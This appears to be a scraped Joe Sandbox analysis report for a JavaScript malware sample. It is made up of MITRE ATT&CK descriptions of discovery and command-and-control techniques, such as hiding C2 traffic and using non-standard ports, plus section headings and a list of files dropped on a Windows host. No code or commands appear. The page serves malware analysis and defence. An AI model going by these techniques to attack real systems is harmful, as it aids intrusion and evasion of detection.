Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2295888241314542.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6eaeae96-fd9d-40ff-9d59-48abf16f2643.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3852

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
2295888241314542.js